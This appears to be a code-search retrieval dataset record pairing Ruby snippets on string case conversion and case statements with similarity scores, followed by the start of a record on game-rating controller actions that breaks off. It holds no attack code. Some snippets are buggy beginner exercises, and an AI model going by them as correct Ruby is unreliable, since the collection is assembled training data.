1\n # at line 430:37: statement_list\n @state.following.push( TOKENS_FOLLOWING_statement_list_IN_case_clause_2884 )\n statement_list119 = statement_list\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, statement_list119.tree )\n end\n\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n end\n \n return return_value\n end", "def sanitize_case(value, kase)\n return value if value.nil?\n\n if kase == :camelcase\n value.camelcase(:lower)\n elsif kase == :pascalcase\n value.camelcase(:upper)\n else\n value.send(kase)\n end\n end", "def letter_cases(allow_prefixed_underscores: true)\n LuckyCase.cases self, allow_prefixed_underscores: allow_prefixed_underscores\n end", "def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end", "def downcase(input); end", "def case_clause\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 17 )\n return_value = CaseClauseReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal64 = nil\n expression65 = nil\n statement_list66 = nil\n\n tree_for_string_literal64 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 99:5: ^( 'case' expression ( statement_list )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal64 = match( CASE, TOKENS_FOLLOWING_CASE_IN_case_clause_504 )\n\n tree_for_string_literal64 = @adaptor.copy_node( string_literal64 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal64, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_case_clause_506 )\n expression65 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression65.tree )\n # at line 99:27: ( statement_list )?\n alt_18 = 2\n look_18_0 = @input.peek( 1 )\n\n if ( look_18_0.between?( AMP, AMP_ASGN ) || look_18_0 == POST_DECR || look_18_0.between?( GEQ, AREF ) || look_18_0.between?( GREATER, HAT ) || look_18_0.between?( ARROW, HAT_ASGN ) || look_18_0.between?( ASGN, REGEX ) || look_18_0.between?( IN, RETURN ) || look_18_0 == INCR || look_18_0.between?( BREAK, RSHIFT3 ) || look_18_0.between?( LABEL, CATCH ) || look_18_0 == RSHIFT_ASGN || look_18_0 == LEQ || look_18_0.between?( LESS, SLASH ) || look_18_0.between?( SLASH_ASGN, CONTINUE ) || look_18_0.between?( STAR, DECR ) || look_18_0 == STAR_ASGN || look_18_0.between?( LSHIFT, THIS ) || look_18_0 == THROW || look_18_0.between?( MINUS, MOD ) || look_18_0.between?( MOD_ASGN, TYPEOF ) || look_18_0.between?( NEQ, UMINUS ) || look_18_0.between?( NEQQ, UNDEFINED ) || look_18_0.between?( NEW, UPLUS ) || look_18_0.between?( OBJECT, FALSE ) || look_18_0.between?( WITH, PLUS ) || look_18_0.between?( ID, DOC ) )\n alt_18 = 1\n end\n case alt_18\n when 1\n # at line 99:27: statement_list\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_statement_list_IN_case_clause_509 )\n statement_list66 = statement_list\n @state.following.pop\n\n @adaptor.add_child( root_1, statement_list66.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 17 )\n\n end\n \n return return_value\n end", "def match_mixed(test)\n case test\n when 'hello'\n 'hello'\n in [a, b]\n \"a: #{a}, b: #{b}\"\n end\nend", "def case_mapping\n self['CASEMAPPING']\n end", "def activity_case\n\n puts \"what temperature is it?\"\n temp = gets.chomp.to_i\n #case statement\n case temp\n when 80..100 #80 to 100, including 100\n puts \"lets go swimming\"\n when 50...80\n puts \"let's go hiking\"\n when 40...50\n puts \"let's go running\"\n when 0...40\n puts \"Let's cozy up by the fire.\"\n else\n puts \"what planet are you on?\"\n end\nend", "def upcase(input); end", "def case_result(race_place)\n case race_place\n when 50..60 then 'NOt really good!'\n when 0..10 then \"You are wiiner, in top!\"\n when 20..30 then \"pretty solid\"\n when 100..120 then \"are you kiding? worst time ever..\"\n end\nend", "def case_exact=(value)\n @case_exact = value\n end", "def with_case(kase)\n previous = @case\n @case = kase\n result = yield(self)\n @case = previous\n result\n end", "def fb_to_ar_case(column_name)\n column_name =~ /[[:lower:]]/ ? column_name : column_name.downcase\n end", "def same_case( your_string , options = Hash.new )\n return your_string.upcase if options[:upcase] == true\n return your_string.upcase if options[:downcase] == false\n your_string.downcase\nend", "def case_aaaa()\n puts \"case aaaa\"\n return 003\n end", "def upcase\n (self.to_s.upcase! || self).to_sym\n end", "def lcase(r, condition)\n splitted_by_condition = r.split(condition)\n return r if splitted_by_condition.size.zero? || splitted_by_condition.size == 1\n \"#{splitted_by_condition.first.downcase}#{condition}#{splitted_by_condition.last}\"\n end", "def in_same_case_as(target)\n to_case(@target, get_case(target))\n end", "def downcase\n (self.to_s.downcase! || self).to_sym\n end", "def switch?(parameter)\n return true if %W[true on yes start begin 1].include?(parameter.to_s.downcase)\n return false if %W[false off no stop end 0].include?(parameter.to_s.downcase)\n nil\nend", "def downcase\n `return self.toLowerCase();`\n end", "def downcase\n `return self.toLowerCase();`\n end", "def camelcase(s)\n\n\nend", "def hello_world l\n if l.downcase == \"es\"\n puts \"Hola Mundo\"\n elsif l.downcase == \"de\"\n puts \"Hallo Welt\"\n elsif l.downcase == \"ru\"\n puts \"Priver mir\"\n elsif l.downcase == \"de\"\n puts \"Hallo Welt\"\n elsif l.downcase == \"ja\"\n puts \"Kon'nichiwa sekai\"\n else \n puts \"Hello World\"\n end\nend", "def oracle_upcase(name)\n name =~ /[A-Z]/ ? name : name.upcase\n end", "def case_sensitive?\n true\n end", "def casestatement(number)\nanswer = case\n when number < 0\n \"#{number} is negative\"\n when number <= 50\n \"#{number} is between 0 and 50\"\n when number <= 100\n \"#{number} is between 51 and 100\"\n else\n \"#{number} is greater than 100\"\n end\nputs answer # Note how we just moved this INTO the method.\nend", "def vowels_with_case(letter)\n case letter\n when \"a\",\"e\",\"i\",\"o\",\"u\"\n return true\n else\n return false\n end\nend", "def ordering_by_case?(order_value)\n order_value.expr.is_a?(Arel::Nodes::Case)\n end", "def native_case(identifier)\n if database_metadata.upcase_identifiers?\n identifier =~ /[A-Z]/ ? identifier : identifier.upcase\n else\n identifier\n end\n end", "def convert_case(case_type, preserve_prefixed_underscores: true)\n LuckyCase.convert_case self, case_type, preserve_prefixed_underscores: preserve_prefixed_underscores\n end", "def titlecase\n gsub(/\\b\\w/){ $`[-1,1] == \"'\" ? $& : $&.upcase }\n end", "def downcase!\n @raw.downcase!\n end", "def switch_statement\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 16 )\n return_value = SwitchStatementReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n string_literal60 = nil\n expression61 = nil\n case_clause62 = nil\n default_clause63 = nil\n\n tree_for_string_literal60 = nil\n\n begin\n root_0 = @adaptor.create_flat_list\n\n\n # at line 95:5: ^( 'switch' expression ( case_clause )* ( default_clause )? )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal60 = match( SWITCH, TOKENS_FOLLOWING_SWITCH_IN_switch_statement_477 )\n\n tree_for_string_literal60 = @adaptor.copy_node( string_literal60 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal60, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_switch_statement_479 )\n expression61 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression61.tree )\n # at line 95:28: ( case_clause )*\n while true # decision 16\n alt_16 = 2\n look_16_0 = @input.peek( 1 )\n\n if ( look_16_0 == CASE )\n alt_16 = 1\n\n end\n case alt_16\n when 1\n # at line 95:28: case_clause\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_case_clause_IN_switch_statement_481 )\n case_clause62 = case_clause\n @state.following.pop\n\n @adaptor.add_child( root_1, case_clause62.tree )\n\n\n else\n break # out of loop for decision 16\n end\n end # loop for decision 16\n # at line 95:41: ( default_clause )?\n alt_17 = 2\n look_17_0 = @input.peek( 1 )\n\n if ( look_17_0 == DEFAULT )\n alt_17 = 1\n end\n case alt_17\n when 1\n # at line 95:41: default_clause\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_default_clause_IN_switch_statement_484 )\n default_clause63 = default_clause\n @state.following.pop\n\n @adaptor.add_child( root_1, default_clause63.tree )\n\n\n end\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 16 )\n\n end\n \n return return_value\n end", "def format_case(identifier)\n if database_metadata.upcase_identifiers?\n identifier =~ /[a-z]/ ? identifier : identifier.downcase\n else\n identifier\n end\n end", "def detect_capital_use(word)\n var1 = word.upcase\n var2 = word.downcase\n var3 = word.capitalize\n return true if word == var1\n return true if word == var2\n return true if word == var3\n false\nend", "def compare(str, flag)\n after = case flag\n when :upcase\n str.upcase\n when :capitalize\n str.capitalize\n # etc, we could have a lot of 'when' clauses\n end\n\n puts \"Before: #{str}\"\n puts \"After: #{after}\"\nend", "def case_insensitive_thing(thing)\n new_thing = thing.clone\n target = new_thing.is_a?(Arel::Nodes::As) ? new_thing.left : new_thing\n def target.do_not_make_case_insensitive?; end\n new_thing\n end", "def same_case( str , options = Hash.new )\n return str.upcase if options[:upcase] || options[:downcase] == false\n str.downcase\nend", "def rl_change_case(count, op)\r\n start = @rl_point\r\n rl_forward_word(count, 0)\r\n _end = @rl_point\r\n\r\n if (op != UpCase && op != DownCase && op != CapCase)\r\n rl_ding()\r\n return -1\r\n end\r\n\r\n if (count < 0)\r\n start,_end = _end,start\r\n end\r\n\r\n # We are going to modify some text, so let's prepare to undo it.\r\n rl_modifying(start, _end)\r\n\r\n inword = false\r\n while (start < _end)\r\n c = _rl_char_value(@rl_line_buffer, start)\r\n # This assumes that the upper and lower case versions are the same width.\r\n if !@rl_byte_oriented\r\n _next = _rl_find_next_mbchar(@rl_line_buffer, start, 1, MB_FIND_NONZERO)\r\n else\r\n _next = start + 1\r\n end\r\n\r\n if (!_rl_walphabetic(c))\r\n inword = false\r\n start = _next\r\n next\r\n end\r\n\r\n if (op == CapCase)\r\n nop = inword ? DownCase : UpCase\r\n inword = true\r\n else\r\n nop = op\r\n end\r\n if (isascii(c))\r\n nc = (nop == UpCase) ? c.upcase : c.downcase\r\n @rl_line_buffer[start] = nc\r\n end\r\n\r\n start = _next\r\n end\r\n\r\n @rl_point = _end\r\n 0\r\n end", "def getCase(x, y)\n return @table[x, y]\n end", "def getCase(x, y)\n return @table[x, y]\n end", "def camel_case(str); end", "def same_case( str , options = Hash.new )\n return str.upcase if options[:upcase]\n return str.upcase if options[:downcase] == false\n str.downcase\nend", "def borough_message(borough)\n\n case borough\n when \"Islington\"\n puts \"I'll meet you at Angel\"\n when \"Hackney\"\n puts \"I'll meet you in Stoke Newington\"\n when \"Tower Hamlets\"\n puts \"I'll meet you in whitechapel\"\n else\n puts \"You can come to Kentish Town\"\n end\n\nend", "def staggered_case_decide(string, use_all_char=false)\n alt_cap = ''\n need_upper = true\n split_str = string.chars\n split_str.each do |char|\n if use_all_char\n if need_upper\n alt_cap << char.upcase\n else\n alt_cap << char.downcase\n end\n need_upper = !need_upper\n else\n if char =~ /[^A-z]/\n alt_cap << char\n else\n if need_upper\n alt_cap << char.upcase\n else\n alt_cap << char.downcase\n end\n need_upper = !need_upper\n end\n end\n end\n alt_cap\nend", "def switch_statement(var_env)\n return nil unless eql_lit?(ECMA262::ID_SWITCH)\n\n if eql_lit?(ECMA262::PUNC_LPARENTHESIS) and e=exp(var_env, {}) and eql_lit?(ECMA262::PUNC_RPARENTHESIS) and c = case_block(var_env)\n ECMA262::StSwitch.new(e, c)\n else\n raise ParseError.new(\"unexpected token\", self)\n end\n end", "def food(food)\n case food\n when \"burger\"\n \"bad food\"\n when \"apple\"\n \"good\"\n else\n \"nice\"\n end\nend", "def casecmp(other)\n return nil unless other.kind_of?(Symbol)\n lhs = self.to_s; lhs.upcase!\n rhs = other.to_s.upcase\n lhs <=> rhs\n end", "def titlecase!\n replace(titlecase)\n end", "def upcase\n $capitals.values[6].upcase\nend", "def is_uppercase?(word)\nend", "def case_insensitivity\n if url_params['case_insensitive'] == \"true\"\n \"&case_insensitive=on\"\n else\n \"\"\n end\n end", "def classify(age)\n case age\n when 0..2\n puts \"bebe\"\n when 3..12\n puts \"niño\"\n when 13..17\n puts \"Adolescente\"\n when 18..30\n puts \"joven\"\n else\n puts \"señor\"\n end\nend", "def snake_case(name); end", "def toggle_case!\n buffer.undo_record do |record|\n each_range do |range|\n range.toggle_case!(record)\n end\n end\n end", "def case_statement(num)\n\n\tcase \n\twhen num<0\n\t\t\"you can't enter a negative number\"\n\twhen num<=50 \n\t\t\"0~50\"\n\twhen num<=100\n\t\t\"50~100\"\n\telse\n\t\t\">100\"\n\tend\nend", "def upcase(s)\n s.upcase!\n true\nend", "def casecmp?(sym)\n c = self.casecmp(sym)\n return nil if c.nil?\n return c == 0\n end", "def match_with_existing_variable(lang)\n language_name = \"ruby\"\n\n case lang\n in \"Erlang\"\n puts \"Hello Joe, system working.\"\n in ^language_name\n puts \"Ruby? I hear it doesn't scale.\"\n else\n puts \"Sorry, don't know that one\"\n end\nend", "def upper_case()\n LuckyCase.upper_case self\n end", "def shout(word)\n upper_case = word.upcase\nend", "def staggered_case2(str, start_with = 'upper')\n case start_with.downcase\n when 'u', 'upper'\n str.chars.map.with_index \\\n { |chr, idx| idx.even? ? chr.upcase : chr.downcase }.join('')\n when 'l', 'lower'\n str.chars.map.with_index \\\n { |chr, idx| idx.odd? ? chr.upcase : chr.downcase }.join('')\n else\n puts \"start_with option #{start_with} is not recognized.\"\n puts \"Choose 'upper' ('u') or 'lower' ('l').\"\n end\nend", "def xyzzy(a_value)\n a_value.upcase\nend", "def downcase_fields\n self.guess.downcase!\n end", "def hello_world lan_code = ''\n case lan_code\n when 'es'\n \"Hola Mundo\"\n when 'de'\n \"Hallo Welt\"\n when 'ru'\n \"Привет, мир\"\n when 'ja'\n \"こんにちは世界\"\n else\n \"Hello,World\"\n end\n \nend", "def myfood(food)\r\n case food\r\n when \"Steak\"\r\n \"Pass the Steak sauce! That's delicious\"\r\n when \"Sushi\"\r\n \"Thats raw. I don't eat raw food\"\r\n when \"Tacos\", \"Burrito\", \"Quesadillas\"\r\n \"The perfect Combination!\"\r\n when \"Tofu\", \"Brussel Sprouts\"\r\n puts \"No Thanks\"\r\n else\r\n \"I don't know that food\"\r\n end\r\nend", "def under_attack\n puts \"THE world is in danger due to the evil taking over!!!\".upcase\nend", "def is_lower?(c)\n return c != c.capitalize\n end", "def get_day_name(day) #convert name into the actual day_name\n day_name = \"\"\n\ncase day\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"mon\"\n day_name =\"Monday\"\nwhen \"thu\"\n day_name =\"Thursday\"\nwhen \"fri\"\n day_name =\"Friday\"\nwhen \"sat\"\n day_name =\"Saturday\"\nwhen \"sun\"\n day_name =\"Sunday\"\nelse #in case user write an option that doesnt exit we could use else keyword\n day_name = \"Invalid abbreviation\"\nend \n\nreturn day_name\nend", "def translate_with_consistent_case( key, options = {} )\n lower_requested = options.delete( :case ) != \"upper\"\n translation = I18n.t( key, **options )\n en = I18n.t( key, **options.merge( locale: \"en\" ) )\n default_is_lower = en == en.downcase\n lower_requested_and_default_is_lower = lower_requested && default_is_lower\n upper_requested_and_default_is_upper = !lower_requested && !default_is_lower\n if lower_requested_and_default_is_lower || upper_requested_and_default_is_upper\n return translation\n end\n\n I18n.t( \"#{key}_\", **options )\n end", "def to_snake_case(str)\n return downcase if match()\nend", "def define_suit(card)\r\n # Good luck\r\n case card.downcase\r\n when '3c'\r\n 'clubs'\r\n when '3d'\r\n 'diamonds'\r\n when '3h'\r\n 'hearts'\r\n when '3s'\r\n 'spades'\r\n else\r\n card\r\n end\r\nend" ]
[ "0.7592934", "0.7592934", "0.7328321", "0.7228909", "0.7008435", "0.699715", "0.6801803", "0.6780262", "0.67531717", "0.66994786", "0.6692678", "0.66745317", "0.6634266", "0.6627801", "0.6623401", "0.6601309", "0.6540547", "0.6497902", "0.64825416", "0.64476377", "0.6428734", "0.6325433", "0.62850136", "0.62635386", "0.6249004", "0.62174", "0.6209343", "0.619061", "0.6188221", "0.6138551", "0.61244625", "0.60637164", "0.60582006", "0.60494363", "0.60489696", "0.6045219", "0.6043308", "0.6041549", "0.60308415", "0.60160476", "0.60057604", "0.6001994", "0.5988629", "0.59865427", "0.59709895", "0.5963212", "0.59618676", "0.59544384", "0.5940826", "0.5940826", "0.59203625", "0.58777696", "0.58694863", "0.58642614", "0.5860063", "0.58421624", "0.5837739", "0.58354187", "0.58315265", "0.58293515", "0.58266735", "0.58230746", "0.58025134", "0.57952666", "0.57723224", "0.5770822", "0.57681936", "0.57662433", "0.57596517", "0.57596517", "0.5756162", "0.5753329", "0.57460445", "0.57410914", "0.57370937", "0.5736363", "0.573378", "0.5732542", "0.5730259", "0.57262945", "0.5719347", "0.5710604", "0.5708533", "0.5705405", "0.5698168", "0.5694149", "0.5693912", "0.56840634", "0.56750184", "0.5671689", "0.5663708", "0.5662133", "0.56561506", "0.56524265", "0.5650077", "0.56438464", "0.56378204", "0.5635803", "0.56298494", "0.5627039", "0.56257886" ]
0.0
-1
GET /game_ratings GET /game_ratings.json
def index @game_ratings = GameRating.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ratings\n Birdman::Requester.get(\"movies/#{id}/ratings\")\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def index\n @ratings = Rating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ratings }\n end\n end", "def show\n authorize @workshop\n values = @workshop.ratings.pluck(:value)\n @average_rating = values.inject(&:+).to_f / values.size\n respond_to do |format|\n format.html\n format.json\n end\n end", "def show\n compile_reviews(@gamer.id)\n scores = Gamer.compute_ratings(@reviews)\n Gamer.compute_overall_rating(scores)\n update_scores(scores, @gamer)\n render json: {gamer: @gamer, reviews: @reviews}\n end", "def player_ratings\n Player.ratings(galaxy_id, Player.where(alliance_id: id))\n end", "def rating\n response[\"rating\"]\n end", "def index\n @games = Game.where(user_id: session[:user_id])\n current_user_id = current_user.id\n @current_user_rating = UserRating.find_by(user_id:current_user_id).rating\n end", "def index\n @ratings = Rating.all\n end", "def index\n @ratings = Rating.all\n end", "def index\n @ratings = Rating.all\n end", "def ratings_ranking(*args)\n @client.get \"#{@path}/ratings/ranking\", Hash[*args]\n end", "def show\n @dev = User.find(params[:id])\n @ratings = RatingService::get_ratings(@dev)\n end", "def index\n @games = current_user.games.page params[:page]\n @rated = 100 * (current_user.games.count(:rating).to_f / @games.total_entries) \n authorize! :index, Game # can't pass in @games, apparently\n end", "def index\n user = User.find_by(id: params[:user_id])\n return :ratings => [], :status => :not_found if user.nil?\n\n result = []\n # generate pending ratings\n if params.has_key?(:pending)\n user.rides_as_passenger.each do |ride|\n if Rating.find_by(from_user_id: user.id, to_user_id: ride.driver.id, ride_id: ride.id).nil?\n pending_rating = {}\n pending_rating[:from_user_id] = user.id\n pending_rating[:to_user_id] = ride.driver.id\n pending_rating[:ride_id] = ride.id\n result.append(pending_rating)\n end\n end\n respond_with ratings: result, status: :ok\n else\n #generate ratings given\n ratings = user.ratings_given + user.ratings_received\n result = []\n ratings.each do |r|\n rating = {}\n rating[:from_user_id] = r[:from_user_id]\n rating[:to_user_id] = r[:to_user_id]\n rating[:ride_id] = r[:ride_id]\n result.append(rating)\n end\n respond_with ratings: result, status: :ok\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating }\n end\n end", "def show\n @rating_alt = Rating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rating_alt }\n end\n end", "def index\n @participant_ratings = ParticipantRating.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @participant_ratings }\n end\n end", "def average_rating\n render json: { rating: { avg_rating: @movie.avg_rating } }\n end", "def set_game_rating\n @game_rating = GameRating.find(params[:id])\n end", "def show\n @team_rating = TeamRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team_rating }\n end\n end", "def index\n respond_with Rating.all\n\n \n end", "def ratings_index\n @ratings = Rating.all\n # puts(@ratings.to_json(:only => [:review_title]))\n end", "def show\r\n rating = Rating.where(rater_id: current_user.id, ratee_id: params[:id]).first\r\n render json: rating\r\n end", "def get_ratings\n begin\n plate_no = params[:plate_no]\n taxi = Taxi.find_by!(plate_no: plate_no)\n if params.has_key? :last_timestamp\n #convert unix time to datetime object\n last_timestamp = Time.at(params[:last_timestamp].to_i).to_datetime\n\n rates = taxi.rates.where(\"updated_at < ?\", last_timestamp).order(\"updated_at DESC\").limit(10)\n else\n rates = taxi.rates.order(\"updated_at DESC\").limit(10)\n end\n\n rates = rates.map do |rate|\n {comment:rate.comment,\n timestamp:rate.updated_at.to_i,\n rating: rate.rating}\n end\n\n render json:{success:true, data:rates}\n rescue Exception => e\n render json:{success:false, message: e.to_s}\n end\n end", "def game_rating_params\n params.require(:game_rating).permit(:game_id, :rating)\n end", "def statistics\n ratings = Restaurant.within(params[:latitude],\n params[:longitude],\n params[:radius]).pluck(:rating)\n render json: {\n count: ratings.length,\n avg: ratings.mean,\n std: ratings.standard_deviation\n }\n end", "def rating\n rating_calculator.rate(raters)\n end", "def scores\n ids = params[:ids].is_a?(Array) ? params[:ids] : params[:ids].split(/ |\\+/).collect{|i|i.to_i}\n posts = Post.where(id: ids).select('id,score').to_a\n if logged_in?\n rated = current_user.ratings_for(*posts)\n response.headers['Cache-Control'] = 'private'\n else\n response.headers['Cache-Control'] = 'public'\n end\n\n m = {}\n\n posts.each do |r|\n id = r.id\n json = {score: r.score}\n if rated\n json['rated'] = rated[id]\n end\n m[id] = json\n end\n\n respond_to do |format|\n format.json {\n render :json => m\n }\n end\n end", "def listing_ratings\n review_ids = Review.where(listing_id: listings.select(:id).collect(&:id)).select(&:id).collect(&:id)\n ReviewRating.where(review_id: review_ids)\n end", "def evaluate\n puts params[:rating].inspect.yellow\n params[:ratings].each do |tenant, report|\n participant = @game.participants.find_by(tenant: tenant)\n if participant\n participant.ratings.create!(report: report, rated_at: Time.parse(report[:stopped_at]))\n else\n puts \"Cannot find participant #{tenant}\"\n end\n end\n render json: { status: 'ok' }\n end", "def rating_params\n params.require(:rating).permit(:score, :game_id)\n end", "def ratings\n to_return = {}\n players_array = self.players.to_a\n if players_array.size > 2\n to_return = {players_array[0].id => create_rating(players_array[0], players_array[1]), \n players_array[1].id => create_rating(players_array[1], players_array[0])}\n end\n to_return\n end", "def index_ratings\n @rating = Rating.all\n end", "def rating\n reviews.average(:rating)\n end", "def rating\n # review = Review.where(user_id: user.id, video_id: video.id).first\n #review = Review.find_by(user_id: user.id, video_id: video.id)\n review.rating if review\n end", "def index\n @engine_ratings = EngineRating.all\n end", "def show\n @reviews = Review.where(videogame_id: @videogame.id).order(\"created_at DESC\")\n \n if @reviews.blank?\n @avg_rating = 0\n else\n @avg_rating = @reviews.average(:rating).round(2)\n end\n end", "def show\n @participant_rating = ParticipantRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @participant_rating }\n end\n end", "def rating_params\n params[:rating]\n end", "def index\n @rating_scores = RatingScore.all\n end", "def update\n respond_to do |format|\n if @game_rating.update(game_rating_params)\n format.html { redirect_to @game_rating, notice: 'Game rating was successfully updated.' }\n format.json { render :show, status: :ok, location: @game_rating }\n else\n format.html { render :edit }\n format.json { render json: @game_rating.errors, status: :unprocessable_entity }\n end\n end\n end", "def rating\n Rating.average(:rating, :conditions => [\"sight_id = ?\", self.id])\n end", "def invitable_ratings\n Player.ratings(\n galaxy_id,\n Player.where(id: self.class.visible_enemy_player_ids(id))\n )\n end", "def checked_ratings\n if params[:ratings]\n params[:ratings].keys\n else\n @all_ratings\n end\n end", "def num_ratings \n 5\n end", "def _get_selected_ratings\n if !params[:ratings].nil?\n return params[:ratings]\n end\n if !session[:ratings].nil?\n @redirect_required = true\n ratings = session[:ratings]\n session.delete(:ratings)\n ratings\n end\n end", "def rate\n @route = Route.find(params[:id])\n @route.rate_all_dimensions(params[:rating], current_user)\n\n render :update do |page|\n page.hide \"rate\"\n page.replace \"rates\", :partial => \"shared/rates\", :locals => {:rated => @route}\n page.show \"rates\"\n page.visual_effect :highlight, \"rates\"\n page << javascript_rating(@route, params[:rating])\n end\n end", "def show\n @school_rating = SchoolRating.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @school_rating }\n end\n end", "def index\n @effort_ratings = EffortRating.all.page(params[:page]).per(50)\n end", "def ratings_breakdown(version = self.version)\n if version == 'all'\n ratings_query = MapRating.where(map_slug: slug).select(:rating)\n elsif version == 'current'\n ratings_query = MapRating.where(map_slug: slug, map_version: self.version).select(:rating)\n else\n ratings_query = MapRating.where(map_slug: slug, map_version: version).select(:rating)\n end\n\n ratings = {}\n 5.times do |t|\n ratings[t + 1] = ratings_query.where(rating: t + 1).size\n end\n ratings\n end", "def index\n @reviews = reviewable.reviews\n\n respond_to do |format|\n format.html\n format.json { render json: @reviews }\n end\n end", "def rating #Getter\n @rating\n end", "def show\n @tv_episode = TvEpisode.find(params[:id])\n @IMDBrating = Rating.rating(\"TvEpisode\",\"tv_episodes\",params[:id],'IMDB').to_a[0]\n @TVDBrating = Rating.rating(\"TvEpisode\",\"tv_episodes\",params[:id],'TVDB').to_a[0]\n\n\n if [email protected]?\n @IMDBrating = @IMDBrating.average[0..2]\n else\n @IMDBrating = \"N/A\"\n end\n\n if [email protected]?\n @TVDBrating = @TVDBrating.average[0..2]\n else\n @TVDBrating = \"N/A\"\n end\n\n @reviews = TvEpisode.reviews(@tv_episode.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tv_episode }\n end\n end", "def rating\n @rating\n end", "def index\n \n # if params[:dress_id]\n # @dress = Dress.find(params[:dress_id])\n @ratings = Rating.all\n render json: @ratings, except:[:created_at, :updated_at] ,status: 200\n \n # else \n # @ratings= Rating.all\n # binding.pry \n # end\n end", "def show_rating(opts={})\r\n opts[:output] = 'json'\r\n opts[:callback] = 'callback'\r\n Yahoo::Request.get(\"http://auctions.yahooapis.jp/AuctionWebService/V1/ShowRating\", Yahoo::Api.merge(opts))\r\n end", "def rating\r\n\t\t@rating\r\n\tend", "def index\n reviews = Review.all\n render json: reviews\n end", "def index\n reviews = Review.all\n render json: reviews\n end", "def index\n @album_ratings = AlbumRating.all\n end", "def get_average_feedback_ratings\n recv_feedbacks = Feedback.where(target_team_id: self.id)\n ratings = []\n recv_feedbacks.each do |feedback|\n response = feedback.get_response_for_question(1).nil? ? 0 : feedback.get_response_for_question(1).to_i\n ratings.append(response)\n end\n {:all => get_average_for_ratings(ratings)}\n end", "def ratings\n\t\tself.reviews.map{|review| review.rating}\n\tend", "def index\n @dish_ratings = DishRating.all\n end", "def getSchoolRating\n\t\n\t\t\n\t\t@Ratings = Rating.select('(sum(rate1+rate2+rate3+rate4))/4.0 as Total_Rating').where(\"school_id = \"+params[:School_id]+\"\").group(\"school_id\")\n\t\trender json: @Ratings.to_json\n\t \t#head :no_content\n\tend", "def index\n @meal_ratings = MealRating.all\n end", "def rating\n r = Rating.create_from_database(rating_id.to_i)\n r.rating\n end", "def index_by_user\n @gifts = @current_user.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def rating(food)\n url = 'https://thereportoftheweek-api.herokuapp.com/reports'\n uri = URI(url)\n response = Net::HTTP.get(uri)\n result = JSON.parse(response)\n puts result[7]['product']\n \n end", "def index\n @place_ratings = PlaceRating.all\n end", "def show\n @movie = Movie.find(params[:id])\n @current_users_rating ||= @movie.ratings.where(user: current_user).pick(:rating)\n \n if @movie.ratings.any?\n @average_rating = @movie.ratings.average(:rating).round(2) \n @ratings_count = @movie.ratings.count(:rating)\n end\n end", "def rate\n clas = params[:rating_for_class]\n @rate = clas == \"discussion\" ? Discussion.find(params[:id]) : (clas == 'comment' ? Comment.find(params[:id]) : Picture.find(params[:id]))\n @rate.rate_it(params[:score], current_user)\n respond_to do 